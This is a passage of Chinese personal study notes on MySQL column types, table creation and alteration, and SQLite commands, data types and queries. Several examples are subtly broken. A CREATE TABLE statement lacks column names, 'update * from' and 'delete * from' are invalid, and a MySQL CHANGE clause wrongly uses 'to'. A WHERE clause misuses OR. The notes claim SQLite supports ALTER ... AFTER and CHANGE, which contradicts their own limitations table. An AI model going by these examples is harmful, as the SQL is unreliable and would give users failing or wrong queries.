宽度M,可存字符M,实存字符i(i<=M), + * 实占空间:M + * 定长的利用率:M<=可能达到100% + * 会有浪费 + * **varchar(M)** 变长字符串 M,[0,65535] + * 不用空格补气,但是数据前面有1或2个字节来记录开头 + * 实占空间:i+(1或2个字节) + * 变长的利用率:i+(1或2个字节)<100%, 不可能100% + * 和text差不多,但是比他慢一点 + * **text**: + * 不用加默认值,存较大的文本段,搜索速度慢。 + * 一万以内可以用varchar + * **mediumblob** + * **mediumtext**:一千多万 + * **longblob** + * **longtext** + * **blob**: + * 是二进制类型,用来储存图像音频等二进制信息,0-255都有可能出现。 + * 意义在于防止因为字符集的问题,导致信息丢失 + * 比如一张图片中有0xFF字节,这个在ascii字符集中人文非法,在入库是被过滤了。如果是二进制,就是原原本本存进去,拿出来,隐形防范字符集的问题导致数据流失 + +``` +//char varchar 区别 +mysql> create table test( + -> char(6) not null default'', + -> varchar(6) not null default'') + -> engine myisam charset utf8; + +mysql> insert into test2 values ('aa ','aa '); +mysql> select concat(ca,'!'),concat(vca,'!') from test2; ++----------------+-----------------+ +| concat(ca,'!') | concat(vca,'!') | ++----------------+-----------------+ +| hello! | hello! | +| aa! | aa ! | ++----------------+-----------------+ +2 rows in set (0.01 sec) +``` + +``` +//text 不需要默认值 +mysql> create table test3( + -> article **text** not null default'' + -> )engine myisam charset utf8; +ERROR 1101 (42000): BLOB, TEXT, GEOMETRY or JSON column 'article' can't have a default value + +mysql> create table test3( + -> article text); +Query OK, 0 rows affected (0.05 sec) + +mysql> alter table test3 add img blob; +Query OK, 0 rows affected (0.04 sec) +Records: 0 Duplicates: 0 Warnings: 0 +``` + +``` +//blob +mysql> desc test3; ++--------+------+------+-----+---------+-------+ +| Field | Type | Null | Key | Default | Extra | ++--------+------+------+-----+---------+-------+ +| article | text | YES | | NULL | | +| img | blob | YES | | NULL | | ++--------+------+------+-----+---------+-------+ + +mysql> insert into test3 + -> values('qingqiongmaima','zhangfeiganlu'); + +mysql> select * from test3; ++----------------+---------------+ +| article | img | ++----------------+---------------+ +| qingqiongmaima | zhangfeiganlu | ++----------------+---------------+ + +``` + +* 时间类型 + * 比起用char来使用各省时间空间。 + * **date**:3个字节 + * 1934-04-12 + * 范围:1000-01-01到9999-12-31 + * **datetime**: 8个字节 + * YYYY-mm-dd HH:ii:ss + * **time**: 3个字节 + * 20:20:20 + * **timestamp**:4个字节 + * 可以取当前的时间 + * **year**: 1个字节 + * [0000, 1901,2155] + * 可以简化成两位数 year(2) + +``` +mysql> create table test4( + -> sname varchar(20) not null default'', + -> logintime datetime not null, + -> ts timestamp default current_timestamp + -> )engine myisam charset utf8; +``` + +`primery key` +`auto_increment` +`not null` +`default '' ` +`engine myisam/innodb/bdb charset utf8/gbk/latin1...` + +``` +create table test5( +id int unsigned primary key not null default, +username char(10) not null default 'admimn', +gender char(1) not null, +weight tinyint unsigned not null, +birth date not null, +salary decimal(8,2) unsigned not null, +lastlogin datetime not null, +intro char(1500)not null + +//除username和intro之外都是定长 +//都是定长的话 搜索会快很多 +//*优化:就是空间换时间* +//username varchar(10) 可以有优化 char(10) +//intro varchar(1500) 变 char(1500)就浪费太多了 +//*优化:把常用到的信息,优先考虑效率,把不常用比较占空间的信息,放到附表* +//把intro单独拿出来,改变次数也很少 + +create table intro( +id int unsigned primary key not null default, +username char(10) not null default 'admimn', +lastlogin datetime not null, +intro char(1500)not null + +create table member( +id int unsigned auto_increment primary key, +username char(20) not null default '', +gender char(1) not null default '', +weight tinyint unsigned not null default 0, +birth date not null, +salary decimal(8,2) not null default 0.00, +lastlogin int unsigned not null default 0) +engine myisam charset utf8; +``` + +### 删除表 `drop table table_A` +mysql> `drop table` stu; +//表就不在了 + +### 改名 `rename table table_A to table_B` +mysql> `rename table` stu `to` newstu; + + +### 修改表 +#### 添加列 `alter table table_A add Z (after/first) X` +//加在最后 +mysql> `alter table` class1 `add` score2 tinyint unsigned not null default 0; + +//加在指定位置 +mysql> `alter table` class1 `add` score1 tinyint unsigned not null default 0 `after` id; + +//加在第一位 +mysql> `alter table` class1 `add` score1 tinyint unsigned not null default 0 `first`; + +#### 删除列 `alter table table_A drop X` +mysql> `alter table` class1 `drop` score2; + +#### 修改列参数 `alter table table_A modify X .../ Change X TO Y...) ` +//不能改列名 +mysql> `alter table` class1 `modify` score2 int unsigned not null default 100; + +//可以修改列名 +mysql> `alter table` class1 `change` score2 `to` score234 int unsigned not null default 100; + +//如果列类型改变了,导致数据保存不下来 +//一般会往大了该 +//1. 丢数据 +//2. 严格模式下,不能改 + + +### 查找 `desc table_A` +mysql> `desc` table_name; ++---------+--------------+------+-----+---------+----------------+ +| Field | Type | Null | Key | Default | Extra | ++---------+--------------+------+-----+---------+----------------+ +| id | int(11) | NO | PRI | NULL | auto_increment | +| sname | varchar(10) | NO | | | | +| gender | varchar(1) | NO | | | | +| company | varchar(20) | NO | | | | +| salary | decimal(6,2) | NO | | 0.00 | | +| fanbu | smallint(6) | NO | | 0 | | ++---------+--------------+------+-----+---------+----------------+ +6 rows in set (0.00 sec) + + +### add date `insert into table_A (X,Y,Z) values (X,1), (Y,2), (Z,3)` +mysql> `insert into` newstu (X,Y,Z) `values`( + -> (1,'a'), + -> (2,'b'), + -> (3,'c')); + +### 修改data +mysql> `update` table_name + -> `set` X = 100; +//X栏全部都改了 + +mysql> `update` * `from` table_name + -> `set` X = X+2; + -> `where` Y = 6; + +### 删除data +删除就是整行 +一个data属于修改 +mysql> `delete from` stu `where` id=2; +mysql> `delete` * `from` stu `where` id=2; +//都是删除整行 不需要 * + + +### 清空表数据 +mysql> `truncate` newstu; +Query OK, 0 rows affected (0.01 sec) +//删除表,扔了重写,(全删的情况下更快) + +mysql> `delete` `from` newstu; +//delete把数据删除重写 + +### data 没并行 +set name utf8; + +`\c` 退出继续打 + + + +# SQLite +## SQLite Mac使用 +$ sqlite3 +SQLite version 3.19.3 2017-06-27 16:48:08 +Enter ".help" for usage hints. +Connected to a transient in-memory database. +Use ".open FILENAME" to reopen on a persistent database. + +### Mac终端创建sqlite表 +* 打开terminal. +* 想在文档下的sqlite文件夹下创建数据库,我们需要先装载该目录。 + * 首先进入到你要创建数据库的位置, 或者你现有数据库所在的位置. + * 输入:cd 将文件夹地址拖到终端  然后enter + * `cd` **/Users/wer/Documents** +* 创建一个文件夹(存放数据库) + * `mkdir`  **testSqlist(文件夹名)** +* 创建数据库 + * 使用sqlite3 + 数据库名 可以打开数据库,我们同样也可以用该方法创建数据库 + * 例如,我们想创建名为test的数据库,需执行如下命令 + * `sqlite3` **test.db** or **test.sqlite3** + * 需要注意,此时在sqlite文件夹下还没有我们创建的数据库文件。 +* 创建表 + * 此时,实际上我们已经打开了test数据库, + * 我们执行 `create table` teacher (name text) ; 为数据库添加一张表, + * 再看sqlite文件夹,我们便会找到刚刚创建的数据库文 + +* 创建类别 +luo$ +`create table` table_name ( +id `integer` `primary key` `not null` `default '0'`, +name `varchar`(20), +age `integer` `not null default '10'` +sex `VARCHAR`(4) , +birth `YEAR`, +department `VARCHAR`(20) , +address `VARCHAR`(50) +); + +* 数据类型 +**varchar()**:字符(需要“”)大小写敏感 +**integer**:数字 +**year**:年份 +**datetime**:日期 + +* 数据属性 +**NOT NULL** 约束强制字段始终包含值。这意味着,如果不向字段添加值,就无法插入新记录或者更新记录。 + + +* 输入数据 + +sqlite>`insert into` table (id, name, age, sex, birth, department, address) `values` (901,'B.I','M','1990','write song','korea'); + +**integer**:数字 +**year**:年份(需要“”) +**varchar**:字符(需要“”)大小写敏感 + +* 此时我们的数据库已经创建完毕. + +* 输入:sqlite3 upload.sqlite3   + * 如果存在文件名为“upload.sqlite3”的文件,这个操作就是打开“upload.sqlite3”文件。 + * 如果不存在“upload.sqlite3”文件,系统就会去创建它。 + * 然后输入:“;”(对,就是输入分号) 然后enter + + +### 输入:   ".quit"可以退出sqlite +ctrl+d +### 输入:   “.help”可以查看更多命令 + +### 常用命令 + +## SQLite 简介 +### SQLite 局限性 +在 SQLite 中,SQL92 不支持的特性如下所示: + +| 特性 | 描述 | +| -------------------- | ---------------------------------------------------------------------------------------------------------------- | +| **RIGHT OUTER JOIN** | 只实现了 LEFT OUTER JOIN。 | +| **FULL OUTER JOIN** | 只实现了 LEFT OUTER JOIN。 | +| **ALTER TABLE** | 支持 RENAME TABLE 和 ALTER TABLE 的 ADD COLUMN variants 命令,不支持 DROP COLUMN、ALTER COLUMN、ADD CONSTRAINT。 | +| **Trigger 支持** | 支持 FOR EACH ROW 触发器,但不支持 FOR EACH STATEMENT 触发器。 | +| **VIEWs** | 在 SQLite 中,视图是只读的。您不可以在视图上执行 DELETE、INSERT 或 UPDATE 语句。 | +| **GRANT 和 REVOKE** | 可以应用的唯一的访问权限是底层操作系统的正常文件访问权限。 | + +#### SQLite 命令 +与关系数据库进行交互的标准 SQLite 命令类似于 SQL。命令包括 CREATE、SELECT、INSERT、UPDATE、DELETE 和 DROP。这些命令基于它们的操作性质可分为以下几种: + +* data query language **DQL** - 数据查询语言 +* data manipulation language **DML** - 数据操作语言 (change data) +* data definition language **DDL** - 数据定义语言 (change table column) +* transactional control language **TCL** 事务控制语言 +* data control language **DCL** 事务控制语言 + + +### data definition language DDL - 数据定义语言 +| 命令 | 描述 | +| ---------- | ------------------------------------------------------ | +| **CREATE** | 创建一个新的表,一个表的视图,或者数据库中的其他对象。 | +| **ALTER** | 修改数据库中的某个已有的数据库对象,比如一个表。 | +| **DROP** | 删除整个表,或者表的视图,或者数据库中的其他对象。 | + +1.修改表名称 `ALTER TABLE` 旧表名 `RENAME TO` 新表名 +2.添加字段 `ALTER TABLE` 表名 `ADD COLUMN` 列名 数据类型 +3.查询表结构 `PRAGMA TABLE(表名)_INFO` + +* 添加字段: + * `alter table` 表名 + * `Add column` 字段2 int not null default 0 `AFTER` 字段1 (在字段1后面添加) +* 调整字段顺序: + * `alter table` 表名 `CHANGE` 字段2 int not null default 0 `AFTER` 字段1 + + + + +### data manipulation language DML - 数据操作语言 +| 命令 | 描述 | +| ---------- | -------------- | +| **INSERT** | 创建一条记录。 | +| **UPDATE** | 修改记录。 | +| **DELETE** | 删除记录。 | + +### data query language DQL - 数据查询语言 !! +| 命令 | 描述 | +| ---------- | ------------------------------ | +| **SELECT** | 从一个或多个表中检索某些记录。 | + +#### select 后面几种不同显示column的方法: + +``` +sqlite>select * from table +//查询表的全部column,所有记录 +or +sqlite>select * from table limit 1,3; +//查询表的第2条到4条记录. start from 0 +or +sqlite>select column_A, column_B, column_C from table +//从表查询显示所有指定的column_ABC的信息 +``` + +#### 细化column里要显示的信息 +**in** ("A", "B"); +**between** "A" and "B"; +**=** "A" or/and column = "B"; + +``` +sqlite>select * from table + ...>where column in ("A", "B"); + ...>where column between "A" and "B"; + ...>where column = "A" or/and column = "B"; +//从表中查询大类里column为AB的记录 +//"字符需引号",数字不需要引号 +or +sqlite>SELECT id, 2013-birth AS age FROM table + ...>WHERE 2013-birth>=18 AND 2013-birth<=22; + ...>WHERE 2013-birth BETWEEN 18 AND 22; +//从表中查询符合某一数字区域的信息 + +``` + +#### 改变column里要显示的信息 + +``` +sqlite>select 2018-birth as id, 'secret' as id from table +//改变数据 +//将数据简单数学,直接显示计算结果, +//或将原数据替换成其他数据 +``` + +#### 分类显示column里要的信息 **group by** + +``` +sqlite>select count(column_A) from table; +//从表中查询column_A里有几个信息 + +sqlite>select column_A from table group by column_A; +//从表中按照column_A种类,列出每种column_A +or +sqlite>select column_A, count(column_B) from table group by column_A; +//按照column_A分类, +//从表中查询每个column_A有多少column_B, +//通常查询column里有的人数count(ID)。 +``` + +#### 做计算 **count(),max(),sum(),avg()** + +``` +sqlite> select column_A, count(column_B) from table group by column_A; +//按照column_A分类, +//从表中查询每个column_A有多少column_B, +//通常查询column里有的人数count(ID)。 +or +sqlite> select column_A, max(column_B) from table group by column_A; +//按照column_A分类, +//各个column_A分类中,查询column_B最高分. +or +sqlite> select name, SUM(grade) FROM score + ...> group by name; +//按照column_A分类, +//各个column_A分类中,查询column_B总和. +//要用group by或者where针对到个体 +//例子:计算每个学生的总成绩 select id,name,SUM(grade) FROM student +or +sqlite> select name, avg(grade) FROM score + ...> group by name; + +``` +#### sql语句中 **any** 和 **all** 的用法 +这两个都是用于子查询的 + +any 是任意一个 +all 是所有 + +any表示有任何一个满足就返回true,all表示全部都满足才返回true +**感觉这句很清楚 + +比如 +select * from student where 班级=’01’ and age > all (select age from student where 班级=’02’); +就是说,查询出01班中,年龄大于 02班所有人的同学 +相当于 +select * from student where 班级=’01’ and age > (select max(age) from student where 班级=’02’); + +而 +select * from student where 班级=’01’ and age > any (select age from student where 班级=’02’); +就是说,查询出01班中,年龄大于 02班任意一个 的 同学 +相当于 +select * from student where 班级=’01’ and age > (select min(age) from student where 班级=’02’); + +#### 一个表内相互对比: +`SELECT` A.* `FROM` SCORE **A** +`WHERE` DEGREE<(`SELECT` `AVG`(DEGREE) `FROM` SCORE **B** `WHERE` A.CNO=B.CNO); + + +#### 两个表之间有联系: +`SELECT` A.xx B.xx +`FROM` tableA `AS A` `JOIN` tableB `AS B` `ON` A.id=B.id; +or +`SELECT` A.xx B.xx C.xx +`FROM` tableA A `JOIN`(tableB B, tableC C) +`ON` A.SNO=C.SNO `AND` B.CNO =C.CNO; +or +`SELECT` A.sno,A.cno,B.rank `from` SCORE A, grade B +`WHERE` A.degree `BETWEEN` B.low `and` B.upp `ORDER BY` RANK; + +``` +sqlite> SELECT c_name, grade FROM score + ...> WHERE stu_id = "901" or "902" + or + ...> WHERE stu_id = (SELECT id FROM student WHERE name='Bobby') + ...> or stu_id=(select id from student where name ='B.I'); +//从score表中查询信息,中间调用student表里的数据 +or +select * from student, score where student.id=score.stu_id; +or +SELECT A.SNAME,B.CNO,B.DEGREE FROM STUDENT AS A JOIN SCORE AS B ON A.SNO=B.SNO; +//用连接的方式查询两个表的信息 +//SELECT A.xx B.xx FROM tableA AS A JOIN tableB AS B ON A.id=B.id; +or +sqlite> SELECT` student.id, name, SUM(grade) FROM student,score + ...> WHERE student.id=score.stu_id + ...> GROUP BY student.id; +``` + +#### 按高低排序 **order by ASC/DESC** + +``` +mysql> SELECT stu_id, grade FROM score + -> WHERE c_name= '计算机' + -> ORDER BY grade DESC; + -> ORDER BY grade ASC; +//将计算机考试成绩按从高到低进行排序DESC + +``` + +#### 从student表和score表中查询出学生的学号,然后合并查询结果 + +``` +mysql> SELECT id FROM student + -> UNION + -> SELECT stu_id FROM score; +``` + +#### 查询姓张或者姓王的同学的姓名、院系和考试科目及成绩 + +``` +sqlite> select student.id, name, c_name, grade + ...> from student, score + + ...> where (name like'B%' or name like 'o%') // % 只要包含此字符 + ...> where (name like'Bobby' or name like 'B.I') // 包含列出的字符 + + ...> and student.id=score.stu_id; +//查询姓张或者姓王的同学的姓名、院系和考试科目及成绩 + +``` + +#### select **distinct** cno from score +``` +select distinct cno from score where degree in (select degree from score where degree>85); +``` + + +## SQLite 命令 +SQLite 简单命令:SQLite 的点命令,这些命令的不同之处在于它们不以分号`;`结束。 + +--- + +**sqlite3 命令**: 在 SQLite 命令提示符下,您可以使用各种 SQLite 命令。 + +``` +$ sqlite3 +SQLite version 3.3.6 +Enter ".help" for instructions +sqlite> +``` + +### SQLite 点命令的列表: + +* **.backup ?DB? FILE** | 备份 DB 数据库(默认是 "main")到 FILE 文件。 +**.bail ON|OFF** | 发生错误后停止。默认为 OFF。 +**.databases** | 列出数据库的名称及其所依附的文件。 +**.dump ?TABLE?** 以 SQL 文本格式转储数据库。如果指定了 TABLE 表,则只转储匹配 LIKE 模式的 TABLE 表。 +**.echo ON|OFF** | 开启或关闭 echo 命令。 +**.exit** | 退出 SQLite 提示符。 +**.explain ON|OFF** | 开启或关闭适合于 EXPLAIN 的输出模式。如果没有带参数,则为 EXPLAIN on,及开启 EXPLAIN。 +#### .header on +* **.header(s) ON|OFF** + * 开启或关闭头部显示。 + * 显示字段名,就是把column的名字显示在上面 +``` +sqlite> .header on +sqlite> select * from table +XX,XX,XX,XX +``` + +* **.help** | 显示消息。 + * `sqlite>.help`: 获取可用的点命令的清单,可以在任何时候输入 ".help"。 + +``` +sqlite> .help +.auth ON|OFF Show authorizer callbacks +.backup ?DB? FILE Backup DB (default "main") to FILE +.bail on|off Stop after hitting an error. Default OFF +.binary on|off Turn binary output on or off. Default OFF +.cd DIRECTORY Change the working directory to DIRECTORY +.changes on|off Show number of rows changed by SQL +.check GLOB Fail if output since .testcase does not match +.clone NEWDB Clone data into NEWDB from the existing database +.databases List names and files of attached databases +.dbinfo ?DB? Show status information about the database +.dump ?TABLE? ... Dump the database in an SQL text format + If TABLE specified, only dump tables matching + LIKE pattern TABLE. +.echo on|off Turn command echo on or off +.eqp on|off|full Enable or disable automatic EXPLAIN QUERY PLAN +.exit Exit this program +.explain ?on|off|auto? Turn EXPLAIN output mode on or off or to automatic +.fullschema ?--indent? Show schema and the content of sqlite_stat tables +.headers on|off Turn display of headers on or off +.help Show this message +.import FILE TABLE Import data from FILE into TABLE +.imposter INDEX TABLE Create imposter table TABLE on index INDEX +.indexes ?TABLE? Show names of all indexes + If TABLE specified, only show indexes for tables + matching LIKE pattern TABLE. +.limit ?LIMIT? ?VAL? Display or change the value of an SQLITE_LIMIT +.lint OPTIONS Report potential schema issues. Options: + fkey-indexes Find missing foreign key indexes +.log FILE|off Turn logging on or off. FILE can be stderr/stdout +.mode MODE ?TABLE? Set output mode where MODE is one of: + ascii Columns/rows delimited by 0x1F and 0x1E + csv Comma-separated values + column Left-aligned columns. (See .width) + html HTML code + insert SQL insert statements for TABLE + line One value per line + list Values delimited by "|" + quote Escape answers as for SQL + tabs Tab-separated values + tcl TCL list elements +.nullvalue STRING Use STRING in place of NULL values +.once FILENAME Output for the next SQL command only to FILENAME +.open ?OPTIONS? ?FILE? Close existing database and reopen FILE + The --new option starts with an empty file +.output ?FILENAME? Send output to FILENAME or stdout +.print STRING... Print literal STRING +.prompt MAIN CONTINUE Replace the standard prompts +.quit Exit this program +.read FILENAME Execute SQL in FILENAME +.restore ?DB? FILE Restore content of DB (default "main") from FILE +.save FILE Write in-memory database into FILE +.scanstats on|off Turn sqlite3_stmt_scanstatus() metrics on or off +.schema ?PATTERN? Show the CREATE statements matching PATTERN + Add --indent for pretty-printing +.selftest ?--init? Run tests defined in the SELFTEST table +.separator COL ?ROW? Change the column separator and optionally the row + separator for both the output mode and .import +.session CMD ... Create or control sessions +.sha3sum ?OPTIONS...? Compute a SHA3 hash of database content +.shell CMD ARGS... Run CMD ARGS... in a system shell +.show Show the current values for various settings +.stats ?on|off? Show stats or turn stats on or off +.system CMD ARGS... Run CMD ARGS... in a system shell +.tables ?TABLE? List names of tables + If TABLE specified, only list tables matching + LIKE pattern TABLE. +.testcase NAME Begin redirecting output to 'testcase-out.txt' +.timeout MS Try opening locked tables for MS milliseconds +.timer on|off Turn SQL timer on or off +.trace FILE|off Output each SQL statement as it is run +.vfsinfo ?AUX? Information about the top-level VFS +.vfslist List all available VFSes +.vfsname ?AUX? Print the name of the VFS stack +.width NUM1 NUM2 ... Set column widths for "column" mode + Negative values right-justify +sqlite> +``` + +**.import FILE TABLE** | 导入来自 FILE 文件的数据到 TABLE 表中。 +.**indices ?TABLE?** | 显示所有索引的名称。如果指定了 TABLE 表,则只显示匹配 LIKE 模式的 TABLE 表的索引。 +**.load FILE ?ENTRY?** | 加载一个扩展库。 +**.log FILE|off** | 开启或关闭日志。FILE 文件可以是 stderr(标准错误)/stdout(标准输出)。 +#### .mode +* **.mode MODE** + * 设置输出模式,MODE 可以是下列之一: + * mode默认是list +* list: 由 .separator 字符串`|`分隔的值 +* line: 每行一个值 +* column: 左对齐的列 + +* csv 逗号分隔的值 +* html HTML 的
    代码 +* insert TABLE 表的 SQL 插入(insert)语句 +* tabs 由 Tab 分隔的值 +* tcl TCL 列表元素 + +**.nullvalue STRING** | 在 NULL 值的地方输出 STRING 字符串。 +**.output FILENAME** | 发送输出到 FILENAME 文件。 +**.output stdout** | 发送输出到屏幕。 +**.print STRING...** | 逐字地输出 STRING 字符串。 +**.prompt MAIN CONTINUE** | 替换标准提示符。 +**.quit** | 退出 SQLite 提示符。 +**.read FILENAME** | 执行 FILENAME 文件中的 SQL。 + +* **.schema ?TABLE?**: + * 显示 CREATE 语句。 +`sqlite>` `.schema` +`create table` table_name ( id `integer` `primary key` `not null default '0'`, name `verchar`(20), age `integer` `not null default '10'`); + + +* **.schema ?TABLE?**: + * 显示 CREATE 语句。如果指定了 TABLE 表,则只显示匹配 LIKE 模式的 TABLE 表。 + * `sqlite>.schema` : 得到一张表的完整信息. + +#### .separator +* **.separator "STRING"** + * 改变输出模式和 .import 所使用的分隔符。 + +``` +sqlite> .separator "," +sqlite> select * from table +XX,XX,XX,XX +``` + + +* **.show** + * 显示各种设置的当前值。 + * `sqlite>.show`:查看 SQLite 命令提示符的默认设置。 + +``` +sqlite>.show + echo: off + explain: off + headers: off + mode: column +nullvalue: "" + output: stdout +separator: "|" + width: +sqlite> + +//确保 sqlite> 提示符与点命令之间没有空格,否则将无法正常工作。 +``` + +**.stats ON|OFF** | 开启或关闭统计。 + +* **sqlite>.tables**: + * 验证表是否已成功创建,该命令用于列出附加数据库中的所有表。 + +* **sqlite>.tables ?PATTERN?**: + * 列出匹配 LIKE 模式的表的名称。 + +* **.tables**: 显示此数据库中的所有表,我这个库中只有一个表 + + +* **.timeout MS** | 尝试打开锁定的表MS 毫秒。 +* **.width NUM NUM** | 为 "column" 模式设置列宽度。 +* **.timer ON|OFF** | 开启或关闭 CPU 定时器。 + + +### 格式化输出 +使用下列的点命令来格式化输出为本教程下面所列出的格式: +**.header on +.mode column +.timer on** + +``` +sqlite>.header on +sqlite>.mode column +sqlite>.timer on +sqlite> +``` + +上面设置将产生如下格式的输出: + +``` +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +1 Paul 32 California 20000.0 +2 Allen 25 Texas 15000.0 +3 Teddy 23 Norway 20000.0 +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 +6 Kim 22 South-Hall 45000.0 +7 James 24 Houston 10000.0 +CPU Time: user 0.000000 sys 0.000000 +``` + +#### sqlite_master 表格 +主表中保存数据库表的关键信息,并把它命名为 sqlite_master。 +**.schema sqlite_master**: 查看表概要. + +``` +sqlite>.schema sqlite_master +``` +这将产生如下结果: + +``` +CREATE TABLE sqlite_master ( + type text, + name text, + tbl_name text, + rootpage integer, + sql text +); +``` + + +### SQL UNION 语法 +* **UNION** 操作符 + * UNION 操作符用于合并两个或多个 SELECT 语句的结果集。 + * 注意: + * UNION 内部的 SELECT 语句必须拥有相同数量的列。 + * 列也必须拥有相似的数据类型。 + * 同时,每条 SELECT 语句中的列的顺序必须相同。 +注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。 + +`SELECT` NameA `as` name sexA `as` sex `FROM` tableA +`UNION` +`SELECT` NameB `as` name sexB `as` sex `FROM` tableB + +``` +Employees_China: +E_ID E_Name +01 Zhang, Hua +02 Wang, Wei +03 Carter, Thomas +04 Yang, Ming + +Employees_USA: +E_ID E_Name +01 Adams, John +02 Bush, George +03 Carter, Thomas +04 Gates, Bill + +SELECT E_Name FROM Employees_China +UNION +SELECT E_Name FROM Employees_USA + +结果: +E_Name +Zhang, Hua +Wang, Wei +Carter, Thomas +Yang, Ming +Adams, John +Bush, George +Gates, Bill +//注释:这个命令无法列出在中国和美国的所有雇员。 +//在上面的例子中,我们有两个名字相同的雇员,他们当中只有一个人被列出来了。 +//UNION 命令只会选取不同的值。 +``` + + +### SQL UNION ALL 语法 +SELECT column_name(s) FROM table_name1 +UNION ALL +SELECT column_name(s) FROM table_name2 +另外,UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。 + +#### SQLite UPDATE 语句: +``` +UPDATE table_name +SET column1 = value1, column2 = value2....columnN=valueN +[ WHERE CONDITION ]; +``` + +#### SQLite VACUUM 语句: +``` +VACUUM; +``` + +#### SQLite WHERE 子句: +``` +SELECT column1, column2....columnN +FROM table_name +WHERE CONDITION; +``` + +## SQLite 数据类型 +**SQLite 数据类型**: 是一个用来指定任何对象的数据类型的属性。 +SQLite 中的每一列,每个变量和表达式都有相关的数据类型。 +您可以在创建表的同时使用这些数据类型。SQLite 使用一个更普遍的动态类型系统。 +在 SQLite 中,值的数据类型与值本身是相关的,而不是与它的容器相关。 + +### SQLite 存储类 +每个存储在 SQLite 数据库中的值都具有以下存储类之一: + +| 存储类 | 描述 | +| ----------- | ----------------------------------------------------------------------- | +| **NULL** | 值是一个 NULL 值。 | +| **INTEGER** | 值是一个带符号的整数,根据值的大小存储在 1、2、3、4、6 或 8 字节中。 | +| **REAL** | 值是一个浮点值,存储为 8 字节的 IEEE 浮点数字。 | +| **TEXT** | 值是一个文本字符串,使用数据库编码(UTF-8、UTF-16BE 或 UTF-16LE)存储。 | +| **BLOB** | 值是一个 blob 数据,完全根据它的输入存储。 | + +SQLite 的**存储类**稍微比数据类型更普遍。INTEGER 存储类,例如,包含 6 种不同的不同长度的整数数据类型。 + +### SQLite 亲和(Affinity)类型 +SQLite支持列的亲和类型概念。任何列仍然可以存储任何类型的数据,当数据插入时,该字段的数据将会优先采用亲缘类型作为该值的存储方式。SQLite目前的版本支持以下五种亲缘类型: + +| 亲和类型 | 描述 | +| ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| **TEXT** | 数值型数据在被插入之前,需要先被转换为文本格式,之后再插入到目标字段中。 | +| **NUMERIC** | 当文本数据被插入到亲缘性为`NUMERIC`的字段中时,如果转换操作不会导致数据信息丢失以及完全可逆,那么SQLite就会将该文本数据转换为`INTEGER`或`REAL`类型的数据,如果转换失败,SQLite仍会以`TEXT`方式存储该数据。对于`NULL`或`BLOB`类型的新数据,SQLite将不做任何转换,直接以NULL或BLOB的方式存储该数据。需要额外说明的是,对于浮点格式的常量文本,如"30000.0",如果该值可以转换为INTEGER同时又不会丢失数值信息,那么SQLite就会将其转换为INTEGER的存储方式。 | +| **INTEGER** | 对于亲缘类型为`INTEGER`的字段,其规则等同于`NUMERIC`,唯一差别是在执行CAST表达式时。 | +| **REAL** | 其规则基本等同于`NUMERIC`,唯一的差别是不会将"30000.0"这样的文本数据转换为INTEGER存储方式。 | +| **NONE** | 不做任何的转换,直接以该数据所属的数据类型进行存储。 | + +### SQLite 亲和类型(Affinity)及类型名称 +下表列出了当创建 SQLite3 表时可使用的各种数据类型名称,同时也显示了相应的亲和类型: + +亲和类型: 数据类型 + +* **INTEGER**: + * INT + * INTEGER + * TINYINT + * SMALLINT + * MEDIUMINT + * BIGINT + * UNSIGNED BIG INT + * INT2 + * INT8 + +* **TEXT**: + * CHARACTER(20) + * VARCHAR(255) + * VARYING CHARACTER(255) + * NCHAR(55) + * NATIVE CHARACTER(70) + * NVARCHAR(100) + * TEXT + * CLOB + +* **NONE**: + * BLOB + * no datatype specified + +* **REAL**: + * REAL + * DOUBLE + * DOUBLE PRECISION + * FLOAT + +* **NUMERIC**: + * NUMERIC + * DECIMAL(10,5) + * BOOLEAN + * DATE + * DATETIME + +### Boolean 数据类型 +SQLite 没有单独的 Boolean 存储类。相反,布尔值被存储为整数 0(false)和 1(true)。 + +### Date 与 Time 数据类型 +SQLite 没有一个单独的用于存储日期和/或时间的存储类,但 SQLite 能够把日期和时间存储为 `TEXT`、`REAL` 或 `INTEGER` 值。 + +| 存储类 | 日期格式 | +| ----------- | -------------------------------------------------------------- | +| **TEXT** | 格式为 `YYYY-MM-DD` `HH:MM:SS.SSS` 的日期。 | +| **REAL** | 从公元前 4714 年 11 月 24 日格林尼治时间的正午开始算起的天数。 | +| **INTEGER** | 从 `1970-01-01 00:00:00 UTC` 算起的秒数。 | + +您可以以任何上述格式来存储日期和时间,并且可以使用内置的日期和时间函数来自由转换不同格式。 + +## SQLite 创建数据库 + +#### sqlite3 创建新的 SQLite 数据库 +`sqlite3`: 创建新的 SQLite 数据库。您不需要任何特殊的权限即可创建一个数据。 + +**实例**: + +``` +$sqlite3 testDB.db +SQLite version 3.7.15.2 2013-01-09 11:53:05 +Enter ".help" for instructions +Enter SQL statements terminated with a ";" +sqlite> +``` +通常情况下,数据库名称在 RDBMS 内应该是唯一的。 +在当前目录下创建一个文件,一个新的数据库 `testDB.db`。该文件将被 SQLite 引擎用作数据库。 +`sqlite3` 命令在成功创建数据库文件之后,将提供一个 `sqlite>` 提示符。 + +#### .databases 检查它是否在数据库列表中 +`.databases`: 一旦数据库被创建,使用 SQLite 的 `.databases` 命令来检查它是否在数据库列表中,如下所示: + +``` +sqlite>.databases +seq name file +--- --------------- ---------------------- +0 main /home/sqlite/testDB.db +``` + +#### .quit 退出 +`.quit` 命令: 退出 sqlite 提示符,如下所示: + +``` +sqlite>.quit +$ +``` + +#### .dump 命令 导出完整的数据库 +`.dump`: 在命令提示符中使用 SQLite `.dump` 点命令来导出完整的数据库在一个文本文件中,如下所示: + +``` +$sqlite3 testDB.db .dump > testDB.sql +``` +转换整个`testDB.db`数据库的内容到 SQLite 的语句中,并将其转储到 ASCII 文本文件 `testDB.sql` 中。 + + +``` +$sqlite3 testDB.db < testDB.sql +``` +您可以通过简单的方式从生成的`testDB.sql`恢复,如下所示: +此时的数据库是空的,一旦数据库中有表和数据,您可以尝试上述两个程序。 + + +## SQLite 附加数据库 +假设这样一种情况,当在同一时间有多个数据库可用,您想使用其中的任何一个。 +`ATTACH DATABASE` 语句: 用来选择一个特定的数据库,使用该命令后,所有的 SQLite 语句将在附加的数据库下执行。 + +``` +ATTACH DATABASE 'DatabaseName' As 